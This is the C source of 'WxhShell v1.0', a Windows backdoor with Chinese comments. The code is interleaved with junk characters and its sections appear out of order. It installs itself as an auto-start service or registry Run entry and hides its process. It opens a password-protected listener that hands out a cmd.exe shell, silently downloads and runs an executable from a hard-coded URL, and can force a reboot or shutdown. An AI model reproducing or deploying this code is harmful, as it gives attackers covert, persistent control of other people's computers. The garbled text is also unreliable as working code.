    if(Boot(SHUTDOWN)) `mT$s,:h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}j1"@  
    else { 7OW bAu;  
    closesocket(wsh); OCy0#aPRS  
    ExitThread(0); BnRN;bu  
    } NzKUtwnIz  
    break; Ej7 /X ~  
    } Blq8H"3!:  
  // 获取shell Vb qto|X@  
  case 's': { h $N0 D !  
    CmdShell(wsh); w-@6|o,S  
    closesocket(wsh); sE{pzPq!  
    ExitThread(0); kM`l  
    break; Z/rTVAs@r  
  } #yI.nzA*  
  // 退出 PR|R`.QSs  
  case 'x': { ,#W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5<L_|d)0"  
    CloseIt(wsh); |y20Hi':  
    break; m5G\}8|  
    } 2 &Nb  
  // 离开 $BmmNn#  
  case 'q': { -*2Mf Mh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &_5tqh  
    closesocket(wsh); 1c+]gIe  
    WSACleanup(); {YUIMd!Y  
    exit(1); wW?,;B'74  
    break; XBQ\_2>  
        } #"fJa:IYG7  
  } ob_I]~^I?|  
  } fIF<g@s  
r}yG0c,  
  // 提示信息 %r)avI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F_uY{bg  
} 3?E8\^N\n  
  } lt$zA%`odc  
. |*f!w}5  
  return; H UoyLy  
} !6&W,0<  
`MP|Ovns:H  
// shell模块句柄 fA48(0p  
int CmdShell(SOCKET sock) fri0XxF  
{ mW%?>Z1=>d  
STARTUPINFO si; kj5Q\vr)  
ZeroMemory(&si,sizeof(si)); .lhn;*Yi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^[Cv26  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w<9>Q1(  
PROCESS_INFORMATION ProcessInfo; 5BR5X\f0  
char cmdline[]="cmd"; ZDL']*)'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B5X sGLV  
  return 0; J/);"bg_O  
} $N2SfyX7  
hC_Vts[v/  
// 自身启动模式 ,%bhyww<  
int StartFromService(void) U=sh[W  
{ i~J;G#b  
typedef struct YGc^h(d  
{ ^% Q|s#w.  
  DWORD ExitStatus; B~'MBBD"  
  DWORD PebBaseAddress; 0:KE@=  
  DWORD AffinityMask; e$c?}3E!z  
  DWORD BasePriority; (SVWdgb  
  ULONG UniqueProcessId; -oz`"&%  
  ULONG InheritedFromUniqueProcessId; ^BZkHAp  
}   PROCESS_BASIC_INFORMATION; bU 63X={  
0^'B3$>  
PROCNTQSIP NtQueryInformationProcess; 0i[zup  
\bCX=E-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8 6QE /M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @+U,Nzd  
H(0q6~|  
  HANDLE             hProcess; UkCnqNvx  
  PROCESS_BASIC_INFORMATION pbi; /\mKY%kyh  
zT~B 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (wRBd  
  if(NULL == hInst ) return 0; =\)IaZ  
/W#O +  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3>z[PPw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;evCW$G=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0e["]Tlnm  
l6[lJ0Y  
  if (!NtQueryInformationProcess) return 0; \F,DA"K_  
Q Z8QQ`*S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v;y0jD#b  
  if(!hProcess) return 0; i54md$Q^  
vAP{;Q0 i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3HyhEVR-#~  
q&'Lbxc>c  
  CloseHandle(hProcess);  'k&?DZ!  
dEM ?~?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [AEBF2OIv  
if(hProcess==NULL) return 0; DJh&#b  
6*GjP ;S =  
HMODULE hMod; ;)DzC c/  
char procName[255]; &;H{cv`  
unsigned long cbNeeded; ?3sT" r_d@  
MrE<vw@he  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dw@E)  
e{G_GycH  
  CloseHandle(hProcess); ;i#LIHJ  
 *2u E  
if(strstr(procName,"services")) return 1; // 以服务启动 (U.**9b;  
P#GD?FUc  
  return 0; // 注册表启动 VmQh$&h  
} !^U6Z@&/R  
0rMqWP  
// 主模块 h"QbA"  
int StartWxhshell(LPSTR lpCmdLine) TW`mxj_J2  
{ 5{ >0eFzG  
  SOCKET wsl; zCXqBuvu1  
BOOL val=TRUE; g"t^r3  
  int port=0; [h}K$q  
  struct sockaddr_in door; #dJ 2Q_2  
si/er"&o  
  if(wscfg.ws_autoins) Install(); Ph7pd  
4E"d/  
port=atoi(lpCmdLine); >M^&F6  
vrcE]5(:s  
if(port<=0) port=wscfg.ws_port; fDuwgY0  
q G ;-o)h  
  WSADATA data; \v`#|lT$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^/KfH &E  
 ';lfS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |n P_<9[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ./maY1>T  
  door.sin_family = AF_INET; 9EgP9up{6!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {Qtq7q.  
  door.sin_port = htons(port); :k!j"@r  
:zL393(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hjY0w  
closesocket(wsl); x72G^`Wv  
return 1; ?M&4pO&Y  
} nlfPg-78B+  
4UCwT1  
  if(listen(wsl,2) == INVALID_SOCKET) { nTZ> |R)  
closesocket(wsl); S!j^|!  
return 1; wkT;a&_  
} J9@}DB  
  Wxhshell(wsl); { vfq  
  WSACleanup(); (L#%!bd  
1k>naf~O  
return 0; gg8c7d:Q  
GJak.,0t  
} .)ST[G]WK  
O<`R~  
// 以NT服务方式启动 &telCg:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _om[VKJd  
{ w??c1)  
DWORD   status = 0; nUqy1(  
  DWORD   specificError = 0xfffffff; )Xno|$b5Eo  
'0Zm#g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q:yO92Ow  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xu]h$%W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1p CkWe  
  serviceStatus.dwWin32ExitCode     = 0; 7zI5PGWw  
  serviceStatus.dwServiceSpecificExitCode = 0; V<-htV  
  serviceStatus.dwCheckPoint       = 0; * -z4<LAa  
  serviceStatus.dwWaitHint       = 0; zUQe0Gc.b^  
]C)|+`XE@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t-lv|%+8  
  if (hServiceStatusHandle==0) return; :Y.e[@!1x  
~L){O*Z  
status = GetLastError(); TSXTc'  
  if (status!=NO_ERROR) .}p|`3$P  
{ G^KC&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @^wpAQfd4  
    serviceStatus.dwCheckPoint       = 0; ('BLU.7IX  
    serviceStatus.dwWaitHint       = 0; 9r8D*PvS  
    serviceStatus.dwWin32ExitCode     = status; t&f" jPu>  
    serviceStatus.dwServiceSpecificExitCode = specificError; <3Fz>}V32  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J 9a $AU*  
    return; {5 Kz'FT  
  } Qtnv#9%Vi  
EW;1`x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;.0LRWcJ  
  serviceStatus.dwCheckPoint       = 0; `e*61k5  
  serviceStatus.dwWaitHint       = 0; bFn(w:1Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PSEWL6=]N  
} ?360SQ<  
#01/(:7  
// 处理NT服务事件,比如:启动、停止 #ko6L3Pi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sy.:T]ZH  
{ cKpQr7]ur  
switch(fdwControl) AY@k-4  
{ 5Jd` ^U  
case SERVICE_CONTROL_STOP: ;*`_#Rn#  
  serviceStatus.dwWin32ExitCode = 0; -R74/GBg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &NP6%}bR`  
  serviceStatus.dwCheckPoint   = 0; ~*kK4]lP  
  serviceStatus.dwWaitHint     = 0; bZXlJa`'S  
  { . =R=cA7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5*XH6g F  
  } _Ff".t<"  
  return; Cg*kN"8q  
case SERVICE_CONTROL_PAUSE: H` Lu"EK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |YXG(;-BS  
  break; [ )k2=67  
case SERVICE_CONTROL_CONTINUE: `OLB';D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?Hk.|5A}  
  break; D9G0k[D,  
case SERVICE_CONTROL_INTERROGATE: 85 Dm8~  
  break; D{3fhPNU<b  
}; P|v ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q6|@N~UeZ  
} ZZwBOGVU  
T"B8;|  
// 标准应用程序主函数 sOC| B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \aB&{`iG  
{ VHj*aBHB  
kw;wlFU;  
// 获取操作系统版本 (Otur  
OsIsNt=GetOsVer(); v<`$bvv?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pd,!&  
$4: ~* IQ  
  // 从命令行安装 XC2Q*Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); BMF3XcH~G  
',%5mF3j  
  // 下载执行文件 b2W;|  
if(wscfg.ws_downexe) { eoJFh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G*=H;Upi  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4(;20(q]  
} CCy .  
#-A5Z;TD.  
if(!OsIsNt) { E8 \\X  
// 如果时win9x,隐藏进程并且设置为注册表启动 wb@]>MJ}[s  
HideProc(); qm~Kw!kV  
StartWxhshell(lpCmdLine); " _mmR M  
} w[|y0jtw  
else r*>QT:sB  
  if(StartFromService()) iAg}pwU  
  // 以服务方式启动 NrW[Q 3E$  
  StartServiceCtrlDispatcher(DispatchTable); =$[W,+X6f  
else cUYX1a)8  
  // 普通方式启动 ?9CIWpGjU  
  StartWxhshell(lpCmdLine); Mc.^s  
[!5l0{0  
return 0; z{AM2Z  
} "^!j5fZ  
% ghJ*iHR  
J511AoQ{R  
x[Hhj'  
=========================================== ;Xz(B4N~o  
$F<%Jl7_Z  
qP@L(_=g  
~y`Pwj  
P%ye$SASd  
yM W'-\  
" =:kiSrBS3t  
*:k~g].Iz  
#include <stdio.h> \gjl^# ;  
#include <string.h> xMLrLXy  
#include <windows.h> qNhH%tYQ  
#include <winsock2.h> P: jDB{  
#include <winsvc.h> &qG? [R{  
#include <urlmon.h> "hJ7 Vv_  
{P,>Q4N  
#pragma comment (lib, "Ws2_32.lib") aS2a_!f  
#pragma comment (lib, "urlmon.lib") 8U8P g2  
_3*: y/M_  
#define MAX_USER   100 // 最大客户端连接数 e_tZja2s  
#define BUF_SOCK   200 // sock buffer iz,]%<_PE  
#define KEY_BUFF   255 // 输入 buffer l A 0-?k  
^V_ku@DY  
#define REBOOT     0   // 重启 x4/T?4k  
#define SHUTDOWN   1   // 关机 Bi %Z2/  
?]759,Q3L  
#define DEF_PORT   5000 // 监听端口 ;B,nzx(L  
$gXkx D  
#define REG_LEN     16   // 注册表键长度 `4se7{'UK`  
#define SVC_LEN     80   // NT服务名长度 8Ix -i  
$b&BH'*'~  
// 从dll定义API ,M| QN*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EolE?g@l8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B!$V\Gs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cu) @P0I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [%HYh7ua<  
v/QEu^C  
// wxhshell配置信息 dw@TbJ  
struct WSCFG { [P(rY  
  int ws_port;         // 监听端口 9(i0" hS^  
  char ws_passstr[REG_LEN]; // 口令 &Xj{:s#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5)h+(u C3  
  char ws_regname[REG_LEN]; // 注册表键名 \H},ou U  
  char ws_svcname[REG_LEN]; // 服务名 B4PW4>GF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g/fp45s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ly9x1`?$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m T>b ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q}wl_ku9+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gK&5HTo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %g2/ o^c*  
GGYX!=]~  
}; @2-Hj~  
1jR=h7^=  
// default Wxhshell configuration S.zg&   
struct WSCFG wscfg={DEF_PORT, ,<R>Hiwg/s  
    "xuhuanlingzhe", WRN8#b  
    1, WsG"x>1n  
    "Wxhshell", Fr938q6^-  
    "Wxhshell", Uqb]e?@  
            "WxhShell Service", u&hDjE  
    "Wrsky Windows CmdShell Service", 9Ba%=  
    "Please Input Your Password: ", F(?Fz8  
  1, [,.[gWA  
  "http://www.wrsky.com/wxhshell.exe", a>-}\GXTA  
  "Wxhshell.exe" n23%[#,r  
    }; &"@HWF  
: HQ8M*o  
// 消息定义模块 +H2m<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xMO[3 D&D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g] 7{ 5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /y+;g{  
char *msg_ws_ext="\n\rExit."; vWPM:1A  
char *msg_ws_end="\n\rQuit."; Fjb4BdZ P  
char *msg_ws_boot="\n\rReboot..."; IN]`lJ  
char *msg_ws_poff="\n\rShutdown..."; A&X  
char *msg_ws_down="\n\rSave to "; %OezaNOtm  
=%:n0S0C"  
char *msg_ws_err="\n\rErr!"; 'qD'PLV  
char *msg_ws_ok="\n\rOK!"; wR 5\^[GN  
U]`'GM/x  
char ExeFile[MAX_PATH]; `2 %eDFZ  
int nUser = 0; Cy`<^_i  
HANDLE handles[MAX_USER]; F)[XIY&2/  
int OsIsNt; s0X/1Cq  
%8rr*l5  
SERVICE_STATUS       serviceStatus; -52 @%uB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TsFV ;Sl3  
0{^l2?mgSb  
// 函数声明 L@d]RMNv  
int Install(void);  :V5!C$QV  
int Uninstall(void); -$sl!%HO%  
int DownloadFile(char *sURL, SOCKET wsh); K#m\ qitb  
int Boot(int flag); iMOPD}`IX  
void HideProc(void); b n<I#ZH2  
int GetOsVer(void); !9ceCnwbNN  
int Wxhshell(SOCKET wsl); IL8'{<lM  
void TalkWithClient(void *cs); i"2J5LLv  
int CmdShell(SOCKET sock); @M1yBN  
int StartFromService(void); JN;TGtB^p  
int StartWxhshell(LPSTR lpCmdLine); ( FjsN5  
14@q$}sf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L~?,6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8S[ <[CH  
/Gh x2B  
// 数据结构和表定义 l\A}lC0?J  
SERVICE_TABLE_ENTRY DispatchTable[] = )n[`Z#  
{ ;Wfv+]n9  
{wscfg.ws_svcname, NTServiceMain}, l"~h1xk~  
{NULL, NULL} }QApeZd+q  
}; !"o1ve`{  
N>F2 c)rm  
// 自我安装 +Zty}fe  
int Install(void) kG|>_5  
{ )|59FOWg  
  char svExeFile[MAX_PATH]; 5W:Gl?$S}  
  HKEY key; C[J`x>-K  
  strcpy(svExeFile,ExeFile); b}EYNCw_7S  
(|ct`KU0#  
// 如果是win9x系统,修改注册表设为自启动 lyOrM7Gs  
if(!OsIsNt) { o%N0K   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I49=ozPP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n41\y:CAo  
  RegCloseKey(key); ^,ZvKA"}+/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ya*q;D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !)51v {  
  RegCloseKey(key); W~+!"^<n  
  return 0; g[D,\  
    } VQG  /g\  
  } q6m87O9  
} pO7{3%  
else { 4/mj"PBKL  
f4aD0.K.g|  
// 如果是NT以上系统,安装为系统服务 .eDxIWW+ft  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JUaKj@a|  
if (schSCManager!=0) r,Y/4(.c7U  
{ +^]PBMM1w  
  SC_HANDLE schService = CreateService U(Hq4D  
  ( }~Kyw7?  
  schSCManager, wzLiVe-  
  wscfg.ws_svcname, CpP$HrQ  
  wscfg.ws_svcdisp, B 3,ig9  
  SERVICE_ALL_ACCESS, j .yr 5%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l66ipgw_^I  
  SERVICE_AUTO_START, @]VvqCk  
  SERVICE_ERROR_NORMAL, y!{/'{?P  
  svExeFile, #Ko+_Hm?4  
  NULL, 40l#'< y;  
  NULL, 5>z:[OdY*  
  NULL, lG[ )8!:+  
  NULL, sP8-gkkor  
  NULL 6&xW9' 6b:  
  ); XM5;AcD  
  if (schService!=0) H?/cG_^y0  
  { 7]HIE]#  
  CloseServiceHandle(schService); Ph7(JV{  
  CloseServiceHandle(schSCManager); K&"Pm9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); );/5#b@<Y  
  strcat(svExeFile,wscfg.ws_svcname); RGPU~L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e&a[k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >aanLLO  
  RegCloseKey(key); 48"Y-TV  
  return 0; !\D] \|Bo  
    } iw]B QjK  
  } t2-zJJf8  
  CloseServiceHandle(schSCManager); Lh9>8@ jf  
} IG3K Pmu  
} y8(?:#ZC  
,ex(pmZ;  
return 1; 2zrWR%B  
} VkP:%-*#v  
X m:gD6;9  
// 自我卸载 Iy1X nS*  
int Uninstall(void) s%TO(vT  
{ @*`UOgP7  
  HKEY key; |{|r? 3  
;(iUY/ h[h  
if(!OsIsNt) { ^$s~qQQ}B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iz$W3#hi  
  RegDeleteValue(key,wscfg.ws_regname); B6!<@* BI  
  RegCloseKey(key); IkXKt8`YVA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |EEz>ci  
  RegDeleteValue(key,wscfg.ws_regname); S bqM=I+  
  RegCloseKey(key); /Geks/  
  return 0; Qmc;s{-r;  
  } @v-)|8GdY  
} X=c ,`&^  
} m=y,_Pz>U  
else { T[$hYe8%^  
$^+KR]\q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z?) RF[  
if (schSCManager!=0) v.^ 'x  
{ $X\` 7`v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 63dtO{:4  
  if (schService!=0) 2Z9gOd<M~  
  { @aPu}Hi  
  if(DeleteService(schService)!=0) { n~>CE"q  
  CloseServiceHandle(schService); ~aq?Kk  
  CloseServiceHandle(schSCManager); ][K8\  
  return 0; &8YI)G%  
  } ; dHOH\,:  
  CloseServiceHandle(schService); iKEKk\j-w  
  } L"vG:Mq@D  
  CloseServiceHandle(schSCManager); &/#Tk>:  
} lo;9sTUHT  
} @f01xh=8  
u9~V2>r\  
return 1; s1b\I6&:J  
} $8ww]}K  
A5H8+gATK  
// 从指定url下载文件 VS@W.0/  
int DownloadFile(char *sURL, SOCKET wsh) c68$pgG  
{ q}24U3ow  
  HRESULT hr; -bb7Y  
char seps[]= "/"; ^A$XXH '  
char *token; v&/-&(+  
char *file; zSvHvs  
char myURL[MAX_PATH]; ]( 6vG$\  
char myFILE[MAX_PATH]; @KRn3$U  
Fu$Gl$qV?%  
strcpy(myURL,sURL); ]` Gz_e  
  token=strtok(myURL,seps); QR"O)lP  
  while(token!=NULL) !";$Zu  
  { 27i<6PAC[A  
    file=token; NTX+7<  
  token=strtok(NULL,seps); [-94=|S @  
  } iW%0pLn  
O NzdCgY  
GetCurrentDirectory(MAX_PATH,myFILE); X!HSS/'  
strcat(myFILE, "\\"); ~ilBw:L-3  
strcat(myFILE, file); M]zNW{Xt  
  send(wsh,myFILE,strlen(myFILE),0); qf&{O:,Z  
send(wsh,"...",3,0); 8[P6c;\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8i$`oMv[y  
  if(hr==S_OK) #:5g`Ch4,  
return 0; ~ 5qZs"ks  
else f6A['<%o  
return 1; F"? *@L  
N0KRND  
} ?U[nYp}"v  
$W]guG  
// 系统电源模块 TZ_'nB~  
int Boot(int flag) *1]k&#s  
{ _[Wrd?Z  
  HANDLE hToken; 4U1fPyt  
  TOKEN_PRIVILEGES tkp; 4!W?z2ly~R  
t-m,~IoW  
  if(OsIsNt) { &zDFf9w2{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pb&+(j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jy NY *  
    tkp.PrivilegeCount = 1; &IY_z0=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ' "p*FN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |Dpfh  
if(flag==REBOOT) { otVdx&%]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8pt<)Rs}  
  return 0; FQRcZpv;  
} nk.E q[08  
else { :@'0)7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tF1%=&ss  
  return 0; wD Y7B  
} T}x%=4<E  
  } tdK^X1  
  else { :u+#:8u  
if(flag==REBOOT) { <G=@Gl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &!fcLJd  
  return 0; `r$WInsDu  
} UoT}m^ G  
else { ITPp T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SytDo (_=W  
  return 0; &Y2P!\\2  
} -zkL)<7  
} ``CADiM:S  
vK~KeZ\,p=  
return 1; OvG|=  
} wA&)y>n-  
Y\S^DJy  
// win9x进程隐藏模块 _qNLy/AY  
void HideProc(void) UHHKI)(  
{ .[ s82c]]6  
Tz~ ftf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CUcjJ|MZ  
  if ( hKernel != NULL ) mQuaO# I,  
  { Qn&^.e9I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z3LPR:&Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xM,(|p(  
    FreeLibrary(hKernel); ;g9:0,xT4  
  } bd;f@)X  
cYS+XBz  
return; eR;0pWVl  
} ?MB nnyo6  
sUMn (@r  
// 获取操作系统版本 ~]+  jn  
int GetOsVer(void) e:occT  
{ &cE,9o%FZ  
  OSVERSIONINFO winfo; j"8N)la  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); izo $0  
  GetVersionEx(&winfo); )C6 7qY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9F!&y-  
  return 1; ~[6|VpGc:  
  else |/Z)?  
  return 0; p8J"%Jq}  
} 8"^TWzg}L  
H.K`#W&  
// 客户端句柄模块 w+P^c|  
int Wxhshell(SOCKET wsl) F\72^,0  
{  I ^92b  
  SOCKET wsh; IbwRb  
  struct sockaddr_in client; - mXr6R?  
  DWORD myID; {m GWMv  
n/D]r  
  while(nUser<MAX_USER) }Cf[nGh|B  
{ M lwQ_5O  
  int nSize=sizeof(client); h]9^bX__Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &|] ^ u/  
  if(wsh==INVALID_SOCKET) return 1; ^q2zqC  
ywte \}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pBLO  
if(handles[nUser]==0) S45_-aE  
  closesocket(wsh); L,L7WObA  
else r U5'hK  
  nUser++; t,nB`g?  
  } #1R %7*$i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gvYs<,:  
B[50{;X  
  return 0; 2_v>8B  
} :"]ei@  
$S{j}74[  
// 关闭 socket :LG%8Z{R  
void CloseIt(SOCKET wsh) A4h/oMis  
{ g.s oN qt=  
closesocket(wsh); \$"Xr  
nUser--; H)tDfk sq\  
ExitThread(0); F{tSfKy2  
} L~~Yh{<  
J K^;-&  
// 客户端请求句柄 Y?cw9uYB  
void TalkWithClient(void *cs) | &vuK9q  
{ o5R40["  
nrBitu,  
  SOCKET wsh=(SOCKET)cs; <X*8Xzmv  
  char pwd[SVC_LEN]; -}o;Y)  
  char cmd[KEY_BUFF]; _#B/# ^a  
char chr[1]; 5;Xrf=  
int i,j; ;"z>p25=T  
9v0|lS!-  
  while (nUser < MAX_USER) { xkovoTzV  
F eLP!oS>  
if(wscfg.ws_passstr) { V ;jz0B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /G;yxdb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >Z% `&D~u  
  //ZeroMemory(pwd,KEY_BUFF); !)34tu2  
      i=0; ZbUf|#GTB  
  while(i<SVC_LEN) { p6'8l~W+  
b??1Up  
  // 设置超时 (P-<9y@  
  fd_set FdRead; K2 2Xo<3  
  struct timeval TimeOut; _(foJRr  
  FD_ZERO(&FdRead); s=4.Ovd\  
  FD_SET(wsh,&FdRead); +&@0;zSga  
  TimeOut.tv_sec=8; KG$2u:n  
  TimeOut.tv_usec=0; ig{5 ]wZ(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -s"lW 7N^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }__+[-  
A$cbH.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h;->i]  
  pwd=chr[0]; bSfQH4F  
  if(chr[0]==0xd || chr[0]==0xa) { "Cb<~Dy  
  pwd=0; 6tguy  
  break; F04Etf 2k  
  } R8l9i2  
  i++; xJCpWU3wM  
    } )w-?|2-w5  
CCV~nf  
  // 如果是非法用户,关闭 socket Rd)QVEk>SD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UZ#2*PH2E  
} d/1XL[&  
s9iM hCu|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \BL9}5y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  s25012  
SCij5il%  
while(1) { 2B7&Ll\>  
)Yml'?V"  
  ZeroMemory(cmd,KEY_BUFF); ?}[keSEh>  
zu#o<6E{  
      // 自动支持客户端 telnet标准   D 3PF(Wx  
  j=0; il~,y8WTU{  
  while(j<KEY_BUFF) { jPfoI-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $$a"A(Y  
  cmd[j]=chr[0]; H;2pk  
  if(chr[0]==0xa || chr[0]==0xd) { (&(f`c@I  
  cmd[j]=0; <T).+ M/  
  break; Cp%|Q.?  
  } Ee O{G*pq  
  j++; W= !f  
    } rAKd f??  
4%TC2Laii  
  // 下载文件 N!AFsWV  
  if(strstr(cmd,"http://")) { T (qu~}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cO:x{~  
  if(DownloadFile(cmd,wsh)) {\B!Rjt[T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %[J( ,rm  
  else J5k%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iwbjjQPr  
  } cF6|IlhO  
  else { =R05H2hs  
5WUrRQ?E  
    switch(cmd[0]) { qb Q> z+c  
  uT1x\Rt|e  
